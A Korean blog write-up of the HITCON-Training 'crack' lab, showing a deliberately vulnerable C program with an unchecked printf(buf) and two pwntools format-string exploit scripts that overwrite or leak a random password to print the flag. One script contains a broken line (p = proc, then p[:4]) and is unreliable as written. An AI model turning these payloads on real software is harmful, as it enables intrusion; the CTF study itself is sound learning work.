끈질기게 물고늘어져 겨우 풀이를 이해한 CodeByO입니다. 이렇게 문제푸는데 전력을 다하니 좋기도 하고 자괴감도 많이 드네요ㅋㅋㅋㅋ
새해를 맞이하며 기록을 시작하도록 하겠습니다.
1.분석
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <unistd.h> #include <time.h> #include <stdlib.h> unsigned int password ; int main(){ setvbuf(stdout,0,2,0); char buf[100]; char input[16]; int fd ; srand(time(NULL)); fd = open("/dev/urandom",0); read(fd,&password,4); printf("What your name ? "); read(0,buf,99); printf("Hello ,"); printf(buf); printf("Your password :"); read(0,input,15); if(atoi(input) != password){ puts("Goodbyte"); }else{ puts("Congrt!!"); system("cat /home/crack/flag"); } } | cs |
주어진 소스코드를 살펴보면 일단 오버플로우 나는것도 없는거 같고 있다고 해도
까나리나 NX가 걸려있어 오버플로우는 아니라는걸 확신할 수 있으며 이번 문제는 포맷 스트링을 이용해 익스 플로잇을 할 수 있냐 없냐를 물어보는 문제인거 같습니다.
2.풀이
이제 자세히 소스코드를 보면 20번 줄에 printf(buf); 부분이 있는데요. 포맷 스트링 취약점의 개념을 접해보신 분들이라면 바로 여기에서 취약점이
발생한다고 아실겁니다.
그리고 저희는 password값을 알아내서 input 변수에 넣어줘야되는 상황이니 아무런 쓸모도 없을 수 있는 이 취약점을 아주 잘 요리할 수 있죠.
푸는 방법은 2가지가 있습니다.
1. password 값을 우리가 원하는 값으로 변경시켜 그 값을 input에 집어 넣는다.
2. password 값을 직접 알아내서 그 값을 input에 넣는다.
등등..일단 제가 소개 시켜드릴 방법은 이 두가지 입니다.
(첫번째 방식을 원래 포스팅 할려고 했으나 갓갓인 친구가 어려운 포맷 스트링 문제에선 안먹힌다고 해서 두가지 전부 설명드릴 예정입니다.)
일단 두 가지 방법을 모두 시행하기 위해서 필수적으로 알아야하는 값이 있습니다.
바로 OFFSET인데요.
포맷 스트링을 넣어 buf가 실제 스택에 어디있냐를 알아야 정확히 값을 씌우거나 그 값을 불러올 수 있습니다.
구하는 방법은 매우 간단한데요.
소스 크기도 적어서 그냥 실행 하고 buf 에 AAAA를 집어 넣은다음 %8x를 12번 정도 입력하니 10번째에서 A의 아스키코드인 41이 출력되는걸 확인할 수 있습니다.
결론은 offset 값은 10라는 거죠.
이제 pwntools에 fmtstr_payload 함수를 이용해(사용 방법은 http://docs.pwntools.com/en/stable/fmtstr.html 참고)
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * context.log_level = 'debug' cn = process('./crack') p_pwd = 0x0804A048 fmt_len = 10 cn.recv() pay = fmtstr_payload(fmt_len,{p_pwd:1}) cn.sendline(pay) cn.recv() cn.sendline('1') cn.recv() cn.recv() | cs |
password 값을 1로 바꿔 input에 1을 보내면서 우회할 수 있고
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * proc = process("./crack") password_addr = 0x804a048 proc.recvuntil("?") proc.sendline(p32(password_addr) + "#" + "%10$s" + "#" ) proc.recvuntil("#") p = proc password = u32(p[:4]) proc.recvuntil(":") proc.sendline(str(password)) proc.interactive() | cs |
buf에 password 주소를 넣고 %10$s을 이용해 바로 10번째 자리에 있는 값을 불러와서 보내줍니다.
페이로드를 해석해보면 그냥 %10$s를 이용해 바로 10칸뒤에 값을 가져오며
소스코드에서 read(fd,password,4)로 4바이트만 저장됬으니 #을 경계점으로 p[ :4]를 이용해 쉽게 password값을 읽어왔습니다.
이걸 문자열로 input에 보내면?
깔끔하게 성공~!
'포너블 > HITCON-Training' 카테고리의 다른 글
HITCON-Training lab5 (0) | 2017.12.31 |
---|---|
HICON-Training lab1 (0) | 2017.12.17 |
HICON-Training lab3 (0) | 2017.11.29 |